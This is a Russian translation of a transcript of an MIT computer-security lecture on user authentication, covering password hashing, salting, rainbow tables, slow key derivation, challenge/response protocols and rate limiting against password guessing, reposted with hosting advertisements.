27:20 мин Курс MIT «Безопасность компьютерных систем». Лекция 17: «Аутентификация пользователя», часть 2 Полная версия курса доступна здесь. Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, 30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4). VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно при оплате на срок от полугода, заказать можно тут. Dell R730xd в 2 раза дешевле? Только у нас 2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249 в Нидерландах и США! Читайте о том Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?
<div xmlns="http://www.w3.org/1999/xhtml"><h3>Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год</h3><br/> Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях.<br/> <br/> Лекция 1: «Вступление: модели угроз» <a href="https://habr.com/company/ua-hosting/blog/354874/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/354894/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/354896/">Часть 3</a><br/> Лекция 2: «Контроль хакерских атак» <a href="https://habr.com/company/ua-hosting/blog/414505/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/416047/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/416727/">Часть 3</a><br/> Лекция 3: «Переполнение буфера: эксплойты и защита» <a href="https://habr.com/company/ua-hosting/blog/416839/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418093/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418099/">Часть 3</a><br/> Лекция 4: «Разделение привилегий» <a href="https://habr.com/company/ua-hosting/blog/418195/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418197/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418211/">Часть 3</a><br/> Лекция 5: «Откуда берутся ошибки систем безопасности» <a href="https://habr.com/company/ua-hosting/blog/418213/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418215/">Часть 2</a><br/> Лекция 6: «Возможности» <a href="https://habr.com/company/ua-hosting/blog/418217/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418219/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418221/">Часть 3</a><br/> Лекция 7: «Песочница Native Client» <a href="https://habr.com/company/ua-hosting/blog/418223/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418225/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418227/">Часть 3</a><br/> Лекция 8: «Модель сетевой безопасности» <a href="https://habr.com/company/ua-hosting/blog/418229/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/423155/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/423423/">Часть 3</a><br/> Лекция 9: «Безопасность Web-приложений» <a href="https://habr.com/company/ua-hosting/blog/424289/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/424295/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/424297/">Часть 3</a><br/> Лекция 10: «Символьное выполнение» <a href="https://habr.com/company/ua-hosting/blog/425557/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/425561/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/425559/">Часть 3</a><br/> Лекция 11: «Язык программирования Ur/Web» <a href="https://habr.com/company/ua-hosting/blog/425997/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/425999/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/426001/">Часть 3</a><br/> Лекция 12: «Сетевая безопасность» <a href="https://habr.com/company/ua-hosting/blog/426325/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427087/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427093/">Часть 3</a><br/> Лекция 13: «Сетевые протоколы» <a href="https://habr.com/company/ua-hosting/blog/427763/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427771/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427779/">Часть 3</a><br/> Лекция 14: «SSL и HTTPS» <a href="https://habr.com/company/ua-hosting/blog/427783/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427785/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427787/">Часть 3</a><br/> Лекция 15: «Медицинское программное обеспечение» <a href="https://habr.com/company/ua-hosting/blog/428652/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/428654/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/428656/">Часть 3</a><br/> Лекция 16: «Атаки через побочный канал» <a href="https://habr.com/company/ua-hosting/blog/429390/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/429392/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/429394/">Часть 3</a><br/> Лекция 17: «Аутентификация пользователя» <a href="https://habr.com/company/ua-hosting/blog/429680/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/429682/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/429686/">Часть 3</a><a name="habracut"></a><br/> <br/> Итак, давайте начнём. С возвращением вас, надеюсь, праздники для всех удались. Сегодня мы поговорим об аутентификации пользователей. Итак, тема лекции состоит в том, чтобы узнать, как пользователи могут доказать свою личность программе? В частности, статья, которая предназначается для сегодняшнего занятия, затрагивает сами основы существования сообщества безопасности. Есть ли что-нибудь лучше для аутентификации, чем пароли?<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/hf/uf/gz/hfufgzcvqrkktq3mk7tolwwc6r4.jpeg" data-src="https://habrastorage.org/webt/hf/uf/gz/hfufgzcvqrkktq3mk7tolwwc6r4.jpeg" data-blurred="true"/><br/> <br/> На высшем уровне кажется, что пароли – это ужасная идея, потому что у них очень низкая энтропия и атакующим легко их разгадать. Секретные вопросы, которые мы используем для восстановления забытых паролей, имеют ещё меньшую энтропию, чем сами пароли, и это тоже кажется проблемой. <br/> <br/> И что еще хуже, пользователи, как правило, будут использовать один и тот же пароль на множестве разных сайтов. Это означает, что уязвимость в одном легко угадываемом пароле подвергает опасности работу пользователя со многими сайтами.<br/> <br/> Мне понравилась такая цитата из статьи к сегодняшней лекции: «продолжающееся доминирование паролей среди всех других способов аутентификации пользователя является основным затруднением для исследования безопасности». Таким образом, сообщество исследователей безопасности желают иметь альтернативу лучше, чем пароли. Однако неясно, существует ли на самом деле схема аутентификации, которая способна полностью заменить пароли, будучи при этом более удобной, шире применимой и более безопасной.<br/> <br/> Сегодня мы рассмотрим три вопроса. Во-первых, мы рассмотрим, как работают существующие пароли. После этого мы поговорим о том, каковы глобальные желаемые свойства паролей для любой схемы проверки подлинности. И наконец, мы рассмотрим, что пишется в лекционной статье о показателях, или характеристиках проверки подлинности, и увидим, как некоторые другие схемы аутентификации сравниваются по эффективности использования с паролями.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/kr/sy/8k/krsy8knnv87wdaokk5wk2l0aomw.jpeg" data-src="https://habrastorage.org/webt/kr/sy/8k/krsy8knnv87wdaokk5wk2l0aomw.jpeg" data-blurred="true"/><br/> <br/> Итак, что такое пароль? Пароль является общим секретом для пользователя и сервера. Таким образом, примитивная реализация схемы паролей должна в основном просто иметь таблицу на стороне сервера, которая сопоставляет имена пользователей с их паролями.<br/> <br/> Это самый простой способ представить себе реализацию одной из схем проверки подлинности — пользователь вводит своё имя и пароль, сервер ищет их в этой таблице, сравнивает пароль с именем, и если всё совпадает, происходит аутентификация пользователя. Ясно, что проблема заключается в том, что если злоумышленник взломает сервер, то он может просто посмотреть в эту таблицу и завладеть всеми паролями. Так что это явно плохая вещь.<br/> <br/> Возможно, вариантом решения этой проблемы является хранение сервером таблицы, которая выглядит так: имени пользователя соответствует не сам пароль, а его хеш. При этом пользователь вводит пароль в виде простого текста, сервер проверяет его хеш-код и сличает его со значением в таблице. Преимущество этой схемы заключается в том, что эти хеш-функции разработаны таким образом, что хеш трудно поддаётся инвертированию в пароль. Если эта таблица утрачена, имеется утечка данных или злоумышленник взломал сервер и завладел ею, то он увидит вместо текстовых паролей строки случайных буквенно-цифровых символов, и ему будет трудно восстановить их оригинальный образ.<br/> <br/> По крайней мере, в теории использование хешей довольно хорошая вещь. Но сейчас на практике злоумышленникам не придётся использовать атаку типа brute-force, чтобы определить прообраз значения хеша.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/gl/au/be/glaubekcx9xmohuagdp_znmcksc.jpeg" data-src="https://habrastorage.org/webt/gl/au/be/glaubekcx9xmohuagdp_znmcksc.jpeg" data-blurred="true"/><br/> <br/> Злоумышленники могут реально воспользоваться тем, что на практике пароли имеют неравномерное распределение. И под неравномерным распределением я имею в виду… скажем, мы знаем, что все пароли имеют длину до 20 символов. На практике пользователи не используют весь этот диапазон, предпочитая пароли типа 123, todd или что-то подобное. Однако эмпирические исследования показали, как подобные пароли работают, и было выяснено, что около 20% пользователей используют 5000 наиболее популярных паролей. Другими словами, это означает, что если у злоумышленника есть база данных из этих 5000 паролей, он запросто может их хешировать и затем при просмотре украденной таблицы паролей просто сопоставлять хеши. Так что опытным путём хакеру удастся восстановить около 20% паролей, имеющихся в таблице сервера.<br/> <br/> Специалисты Yahoo обнаружили, что пароли содержат от 10 до 20 бит энтропии, 10-20 бит случайности. На самом деле это не так уж и много. Если рассмотреть сложность создание хеш-функции, то современные машины вычисляют миллионы таких хешей каждую секунду. Таким образом, хеш-функция по своему дизайну должна быть легко вычисляемой, чтобы компьютеры легко хешировали пароли. Однако сочетание этого факта с недостаточной случайностью паролей означает, что в принципе, эта схема не настолько безопасна, как кажется.<br/> <br/> Есть вещь, при помощи которой можно попытаться усложнить хакеру жизнь — это сложная функция формирования ключа. В данном случае я имею в виду, что в качестве исходных данных используется хеш пароля, на основе которого сервер генерирует ключ, который хранится на сервере.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/z5/ij/zd/z5ijzdvxxlas94tn3d9vczkwkf0.jpeg" data-src="https://habrastorage.org/webt/z5/ij/zd/z5ijzdvxxlas94tn3d9vczkwkf0.jpeg" data-blurred="true"/><br/> <br/> Что хорошо в этих функциях формирования ключей, так это то, что они имеют настраиваемую трудоёмкость, то есть вы можете повернуть некий регулятор и заставить эту функцию работать медленнее или быстрее в зависимости от того, сколько вы хотите сэкономить на производительности процесса. <br/> <br/> Предположим, вы хотите сформировать ключ. В качестве примера можно привести стандарт формирования ключа PBKDF2 или, возможно, BCrypt, вы можете узнать о них больше из интернета. Давайте представим, что одна из этих функций формирования ключа потребовала для вычисления целую секунду, а не несколько миллисекунд. На самом деле это сделает работу злоумышленника намного сложнее, потому что попытка генерировать значения для 5000 «топовых» паролей займёт намного больше времени.<br/> <br/> На внутреннем уровне эти функции формирования ключа часто работают путем многократного вызова хеша, обращаясь к нему много раз, так что тут все довольно просто. Но решает ли использование трудоёмкого процесса формирования ключа стоящую перед нами проблему безопасности? Ответ – нет, потому что одна из проблем заключается в том, что противник может построить нечто, называемое Rainbow tables, или «радужными таблицами». «Радужная таблица» — это просто карта соответствия пароля значению хеша. Таким образом, даже если система использует одну из этих дорогих функций формирования ключа, злоумышленник может одноразово вычислить одну из этих таблиц. Это может быть немного сложно, потому что обработка каждой функции формирования ключа достаточно медленная вещь, но злоумышленник может создать эту таблицу один раз, а затем использовать её, чтобы взломать все последующие системы, опираясь на одинаковые алгоритмы функций формирования ключей. Вот каким образом работают эти «радужные таблицы».<br/> <br/> Повторю еще раз — чтобы максимизировать экономическую выгоду от создания Rainbow table, злоумышленник может воспользоваться неравномерным распределением паролей, о котором я говорил ранее. Таким образом, злоумышленник может построить такую таблицу только для некоторого небольшого набора всех возможных паролей.<br/> <br/> <b>Студент:</b> вероятно, «соление» делает это намного сложнее?<br/> <br/> <b>Профессор:</b> да, да, именно так. Мы перейдем к «солению» через пару секунд. В целом, если вы не используете «соление», «радужные таблицы» позволяют злоумышленнику, приложив некоторое усилие в автономном режиме, вычислить эту таблицу, а затем получить выгоду от возможности вычислить основные пароли на основе проделанной работы.<br/> <br/> Следующее, о чем можно подумать, чтобы улучшить ситуацию — это «соление». Как же оно работает? Основной принцип – это ввести некоторую дополнительную случайность в способ генерации паролей. Вы берёте эту хэш-функцию, вкладываете туда «соль», а затем пароль, и это всё сохраняется в таблице на сервере. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ih/y_/mr/ihy_mrzxb7utf_7xzmk8gjxzciw.jpeg" data-src="https://habrastorage.org/webt/ih/y_/mr/ihy_mrzxb7utf_7xzmk8gjxzciw.jpeg" data-blurred="true"/><br/> <br/> Что же собой представляет «соль»? Это просто длинная строка, представляющая собой первую часть этой хеш-функции. Так почему же лучше использовать эту схему? Учтите, что «соль» фактически хранится в открытом тексте на стороне сервера. Вы можете подумать: Хорошо, если эта «соль» хранится в открытом тексте на стороне сервера и злоумышленник может украсть таблицу соответствия имён пользователей паролям, так почему он не может заодно украсть и эту «соль»? В чём же польза такого решения?<br/> <br/> <b>Студент:</b> потому что если вы выбрали самый распространенный пароль, вы не можете просто использовать его один раз и найти нового пользователя.<br/> <b>Профессор:</b> совершенно верно. В основном то, что делает «соль» — это предотвращает возможность создания злоумышленником единственной «радужной таблицы», которую можно было бы использовать против всех хешей. В принципе вы можете считать «соль» способом сделать уникальными даже одинаковые пароли. На практике многие системы используют понятие «соления». <br/> <br/> Фактически «соль» создаёт возможность добавить как можно больше бит к этому псевдопаролю, так как чем больше бит, тем лучше. Что ещё требуется сделать – это учесть, что всякий раз, когда пользователь меняет свой пароль, нужно изменить и «соль». Потому что одной из причин для такого решения является лень пользователей, которые хотят применить один и тот же пароль несколько раз. Изменение «соли» обеспечит то, что вещь, которая хранится в базе данных паролей, на самом деле будет отличаться даже в случае, если один пароль заменят точно таким же паролем. <br/> <br/> <b>Аудитория:</b> почему это называется «соль»?<br/> <br/> <b>Профессор:</b> это хороший вопрос, и я не могу ответить на него точно. Однако я уверен, что для этого имеется какое-то обоснование. Почему файлы cookie называют «печеньками»? Интернет, наверное, знает, почему, а я не знаю.<br/> <br/> <b>Студент:</b> возможно потому, что «соль» добавляет немного «вкуса» в хеш? <br/> <br/> <b>Профессор:</b> ну вот, я рад, что мы снимаем это на видео, потому что явно имеем шанс получить кинопремию. Я уверен, что в интернете есть какой-то ответ, поэтому позже я его поищу. <br/> Итак, рассмотренные выше подходы довольно просты. Я предположил, что пользователь каким-то образом передает пароль на сервер, но не уточнил, как это происходит. Итак, как мы передаем эти пароли? <br/> <br/> Во-первых, можно просто отправить пароль по сети в открытом виде. Это плохо, потому что в сети может присутствовать злоумышленник, который отслеживает трафик, который вы посылаете. Он может просто присвоить пароль и выдать себя за вас. <br/> <br/> Поэтому мы всегда начинаем с одного соломенного человечка, прежде чем я покажу вам других соломенных человечков, которые, конечно так же фатально ущербны. Так что первое, о чем вы можете подумать, это отправка пароля в открытом виде. Намного лучше с точки зрения безопасности посылать пароль через зашифрованное соединение, поэтому мы используем криптографию. Возможно, что у нас есть какой-то секретный ключ, используемый для преобразования пароля, прежде чем отправить его по сети. Так что на высшем уровне кажется, что шифрование всегда делает вещи лучше, подобно торговому знаку, гарантирующему качество продукта.<br/> <br/> Но проблема в том, что, если вы не думаете тщательно о том, как использовать шифрование и хеширование, вы не можете воспользоваться теми преимуществами безопасности, на которые рассчитываете. Например, если есть кто-то, кто сидит между вами – пользователем и сервером, этот пресловутый злоумышленник, «человек посередине», который на самом деле следит за вашим трафиком, при этом притворяясь сервером.<br/> <br/> Если вы отправляете зашифрованные данные, не проведя аутентификацию другой стороны, вы можете нарваться на проблему. Потому что клиент просто выбирает случайный ключ и посылает его некому адресату на другой стороне, который может или не может быть сервером. <br/> <br/> Фактически вы посылаете что-то некоторому человеку, который после этого получит возможность завладеть всеми вашими секретами.<br/> <br/> Учитывая это, люди могут думать, что намного лучше отправлять не сам пароль, а его хеш. На самом деле это само по себе ничего вам не дает, потому что отправляете ли вы пароль или хэш пароля, этот хэш пароля обладает той же семантической силой, что и исходный пароль, и он ничем не поможет, если вы не аутентифицировали сервер.<br/> <br/> Таким образом, основной момент заключается в том, что просто добавление шифрования или просто добавление хеширования не обязательно дает вам какие-либо дополнительные преимущества в обеспечении безопасности. Если клиент не может провести аутентификацию того, кому он или она посылает пароль, то клиент может ошибочно разгласить пароль тому, кому не намерен его разглашать.<br/> <br/> Поэтому, возможно, лучшая идея, чем две предыдущих, заключается в использовании так называемого протокола «вызов/ответ», или challenge/response protocol. Вот пример очень простого протокола «вызов/ответ». Здесь у нас имеется клиент, а здесь — сервер. Клиент говорит серверу: «Привет, я Алиса», после чего сервер отвечает ему некоторым вызовом С. Тогда клиент собирается ответить хешем этого вызова, отправленного сервером, объединив его с паролем. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/db/1l/jw/db1ljwavioklkqo2ovbiitqu91o.jpeg" data-src="https://habrastorage.org/webt/db/1l/jw/db1ljwavioklkqo2ovbiitqu91o.jpeg" data-blurred="true"/><br/> <br/> Сервер знает ответ, поэтому в данный момент сервер может принять эту последовательность – ответ клиента. Сервер также знает challenge, который он отправил, и предположительно, знает пароль, поэтому сервер может просчитать значение полученного хеша и увидеть, что оно на самом деле соответствует отправленному пользователем.<br/> <br/> Положительным свойством этого протокола, если мы на секунду проигнорируем существование «человека посередине», является то, что сервер будет уверен в том, что пользователь это действительно Алиса, потому что только Алиса будет знать этот пароль. В то же время если Алиса отправит эту вещь не серверу, а человеку, который притворился сервером, то он не будет знать пароль. Потому что злоумышленник может использовать C, но он всё равно не знает пароль, а для того, чтобы узнать пароль, ему нужно еще раз инвертировать эту хэш-функцию. У вас возникли вопросы?<br/> <br/> <b>Студент:</b> может ли клиент вместо пересылки серверу пароля и получения хешированного вызова сервера просто отправлять серверу хешированный пароль? <br/> <br/> <b>Профессор:</b> то есть вы спрашиваете, почему клиент просто не отправляет серверу хешированный пароль? На это есть 2 причины. Одну мы обсудим позже, она называется защитой Antihammering и создана для того, чтобы обороняться от «плохих» клиентов, постоянно спрашивающих: «это пароль, или вот это пароль, может быть, вот это пароль?». Данный механизм аутентификации упрощает процесс как для сервера, так и для клиента, но вы можете, по сути, создать хэш и на стороне клиента, используя JavaScript или что-то вроде этого. Но основная идея заключается в том, что каким-то образом вы должны обеспечить максимальную трудоёмкость аутентификации, чтобы помешать злоумышленнику быстро угадать пароль. Ещё вопросы?<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ye/q7/qu/yeq7quvqkep3luirbhftiozqo60.jpeg" data-src="https://habrastorage.org/webt/ye/q7/qu/yeq7quvqkep3luirbhftiozqo60.jpeg" data-blurred="true"/><br/> <br/> <b>Студент:</b> я просто хотел отметить, что даже если клиент делает хеширование, то в случае, когда кто-то завладевает таблицей сервера и использует её для хеширования, то он сможет войти в сеть.<br/> <br/> <b>Профессор:</b> совершенно верно. Да, это становится немного опасным в зависимости от того, кто может завладеть этим вызовом С. Потому что если клиент и сервер могут выбрать значения этого С, это усложняет клиенту возможность организовать подобные атаки. Одна из проблем использования этого протокола состоит в том, что клиент не имеет возможности внести случайность в это значение HCC. Можно представить, что вы можете сделать этот протокол более сложным для инвертирования сервером, если клиент получить возможность выбирать некоторый вызов С в части HCC, но в этом случае возникнет противопоставление вызовов клиента и сервера. <br/> Если вопросов больше нет, будем считать, что мы закончили обсуждение механизмов передачи пароля от клиента к серверу. Не смотря на то, что сервер должен инвертировать полученный от клиента хеш и пароль, злоумышленник все еще может попытаться провести атаку методом brute-force, и защитить сервер от атак подобного рода можно только использованием одной из этих дорогих хэш-функций, которые мы обсудили ранее. <br/> <br/> Еще одна вещь, как мы только что сказали, заключается в том, что вы действительно можете позволить клиенту выбирать свой собственный вызов в HCC. По сути это будет действовать так, как будто бы клиент использовал «соль». Это усложнит хакеру задачу по созданию «радужной таблицы». <br/> <br/> Потому обратите внимание, что если хакер находится на стороне сервера, а сервер выбирает одно и то же значение С снова, снова и снова, это позволяет атакующему создать «радужную таблицу». Но если клиент «посолил» свой ответ серверу, создать «радужную таблицу» будет очень сложно.<br/> <br/> Выше я упомянул защиту Antihammer – она придумана для того, чтобы ограничить число попыток угадывания, или подбора пароля. Идея здесь в том, что если у вас есть клиенты, которые пытаются организовать brute-force атаку путём скоростного перебора паролей, вы не хотите предоставить им такую возможность. Один из способов, которым мы можем обеспечить защиту Antihammer – это просто ограничить скорость так, что предположим, сервер станет говорить: «я буду принимать только три пароля в секунду от любого конкретного пользователя». <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/is/qd/9h/isqd9hddtcp15vaz9dxvxufjqu8.jpeg" data-src="https://habrastorage.org/webt/is/qd/9h/isqd9hddtcp15vaz9dxvxufjqu8.jpeg" data-blurred="true"/><br/> <br/> Здесь можно также упомянуть использование тайм-аута, который не позволяет клиенту производить подряд несколько попыток ввода пароля. Например, клиент может выдать целую кучу запросов пароля и ошибиться 10 раз подряд, после чего сервер скажет: «теперь вам придётся подождать 10 секунд, прежде чем вы сможете снова попробовать ввести пароль». Так что обе эти вещи предназначены для предотвращения перебора паролей злоумышленником. Подобные типы защиты имеют некоторые «умные» автомобили, системы TPN и тому подобное. Почему же так важно использовать эти средства защиты от взлома? Одна из причин – это то, что обычные пароли обладают малой энтропией, и нужно исключить возможность, при которой злоумышленник использует все преимущества низкого энтропийного пространства для их быстрого угадывания. <br/> Вы, возможно, знаете, что многие веб-сайты имеют ограничения формата вводимого пароля. Они требуют, чтобы ваш пароль состоял из не менее, чем стольких-то символов, содержал строчные и прописные буквы, цифры и так далее. Смысл этих ограничений – заставить вас увеличить энтропию пароля. Но проблематично то, что мы не столько должны заботиться о соблюдении этих ограничений, сколько об энтропии самих паролей. <br/> <br/> Получается, что даже если людям даются эти ограничения — например, вы должны использовать пунктуацию, числовые символы и тому подобное — энтропия итогового пароля зачастую довольно низкая. Например, люди часто ставят знаки препинания в начале или в конце пароля, но не стараются разместить в середине знак доллара или нечто подобное. Как оказывается, эти требования к формату пароля ненамного усложняют атакующему его задачу. Причина в том, что злоумышленник может проанализировать, как люди назначают пароли даже при наличии ограничений. <br/> <br/> Например, если злоумышленник знает, что люди обычно ставят знаки препинания в начале или в конце слова, он просто включает это в свою атаку типа Dictionary attack, или «перебор по словарю». Существует действительно интересный сайт, на который вы можете зайти, это исследовательский проект Microsoft под названием Telepathwords. На странице этого сайта есть небольшое текстовое поле. Вы можете ввести символ в это текстовое поле, делая вид, что вводите пароль, и Telepathwords будет пробовать угадать, каким будет ваш следующий символ. Когда вы вводите один символ, в выпадающем окне появляются варианты символов, которые, возможно, вы собирались ввести вслед за ним и которые можно без труда угадать. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/zi/po/at/zipoatmbo4iaq74o_8qavqnvks0.jpeg" data-src="https://habrastorage.org/webt/zi/po/at/zipoatmbo4iaq74o_8qavqnvks0.jpeg" data-blurred="true"/><br/> <br/> Символы стойкого пароля отмечаются «птичками», которые означают, что программа не смогла угадать их последовательность, а в слабом пароле символы, которые программа отгадала, отмечаются «крестиками».<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ba/co/pd/bacopdqsosbwwtsvpbrrmyfvmac.jpeg" data-src="https://habrastorage.org/webt/ba/co/pd/bacopdqsosbwwtsvpbrrmyfvmac.jpeg" data-blurred="true"/><br/> <br/> Это даст вам возможность немного «разбавить» пароль неожиданными символами, которые программа не может угадать. Так как же работает Telepathwords? Это программный алгоритм, который имеет огромную базу данных распространённых паролей и популярных фраз, которые взяты с различных сайтов. Также он включает в себя набор эвристик, которые описывают общие пристрастия пользователей в выборе паролей. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/wx/cr/fs/wxcrfsbjbebv1-qluir6vr5kxq8.jpeg" data-src="https://habrastorage.org/webt/wx/cr/fs/wxcrfsbjbebv1-qluir6vr5kxq8.jpeg" data-blurred="true"/><br/> <br/> Отмечена забавная склонность людей, которые вынуждены использовать пунктуацию согласно ограничениям на вид пароля. Она заключается в том, что люди часто выбирают клавиши, расположенные рядом друг с другом. Другими словами, они используют очень маленькое расстояние редактирования в физическом пространстве по отношению к редактированию настоящего пароля. <br/> <br/> Итак, Telepathwords использует эту базу данных, поэтому, когда вы вводите символы, автоматически строятся модели, которые отображают статистическую вероятность того, каким будет следующий печатаемый символ. Так что это выглядит почти как автозаполнение паролей.<br/> Интересно, что это еще раз показывает — если у вас имеются ограничения, они на самом деле не защитят вас, потому что существуют некоторые базовые распределения символов, которые злоумышленник сможет использовать. <br/> <br/> <b>Студент:</b> кажется, что если злоумышленники достаточно умны, они могут попытаться угадать кучу IP-адресов и подобных вещей, которые помешали бы использовать защиту Antihammer при переборе паролей. <br/> <br/> <b>Профессор:</b> да, в этом имеется сложность. Antihammer по существу предотвращает попытку использования перебора паролей с конкретного IP-адреса, но если атакующие распределены по сети, возникает проблема. Достаточно сказать, что понятие Antihammer некоторым образом помогает бороться с таким явлением, как кликфрод – мошенничество путём имитации кликов реальных пользователей по рекламным объявлениям. Другими словами, с помощью Antihammer человек, запустивший рекламную компанию в интернете, может определить, платит ли он реальным людям, разместившим его ссылки, или же это просто спамер, сидящий перед компьютером и постоянно кликающий по рекламе.<br/> <br/> Существует множество распределенных эвристик, которые пытаются решить эти проблемы. И во многих смыслах это не наука, а искусство. Но вы правы, что в реальной жизни настроить все это правильным образом достаточно трудно. <br/> <br/> <b>Студент:</b> а как насчет криптографической защиты Antihammer? Когда вы заканчиваете отправку хеша по сети, есть ли гарантия того, что вы получите обратно именно хешированный пароль? Я знаю, что существуют такие протоколы, как SRP и Zero Knowledge Protocol, ZKP, которые проводят аутентификацию без обмена паролями…<br/> <br/> <b>Профессор</b>: да, и что?<br/> <br/> <b>Студент:</b> они используются на практике?<br/> <br/> <b>Профессор:</b> да, используются. Эти протоколы обеспечивают более надежные гарантии шифрования. В большинстве случаев они не имеют обратной совместимости с текущими системами, поэтому на практике вы не замечаете, насколько часто они используются. Но есть некоторые протоколы, которые позволяют серверу вообще не знать, что собой представляет пароль, типа ZKP, которые действительно применяются на практике. <br/> <br/> 27:20 мин<br/> <br/> <a href="https://habr.com/company/ua-hosting/blog/429682/">Курс MIT «Безопасность компьютерных систем». Лекция 17: «Аутентификация пользователя», часть 2</a><br/> <br/> <div class="oembed"><div><div style="left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.2493%;"><div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/MT7X17ZRo1U?rel=0&amp;showinfo=1&amp;hl=en-US" data-style="border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;" id="" width=""></div></div></div></div><br/> Полная версия курса доступна <a href="https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/">здесь</a>.<br/> <br/> Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, <b>30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:</b> <a href="https://habr.com/company/ua-hosting/blog/347386/">Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?</a> (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).<br/> <br/> <b>VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно</b> при оплате на срок от полугода, заказать можно <a href="https://ua-hosting.company/vpsnl">тут</a>.<br/> <br/> <b>Dell R730xd в 2 раза дешевле?</b> Только у нас <b><a href="https://ua-hosting.company/serversnl">2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249</a> в Нидерландах и США!</b> Читайте о том <a href="https://habr.com/company/ua-hosting/blog/329618/">Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?</a></div>
ua-hosting.company (ua-hosting)
Николай Зельдович, Джеймс Микенс
https://www.youtube.com/watch?v=MT7X17ZRo1U
<h3>Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год</h3><br/> Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях.<br/> <br/> Лекция 1: «Вступление: модели угроз» <a href="https://habr.com/company/ua-hosting/blog/354874/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/354894/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/354896/">Часть 3</a><br/> Лекция 2: «Контроль хакерских атак» <a href="https://habr.com/company/ua-hosting/blog/414505/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/416047/">Часть 2</a> / <a 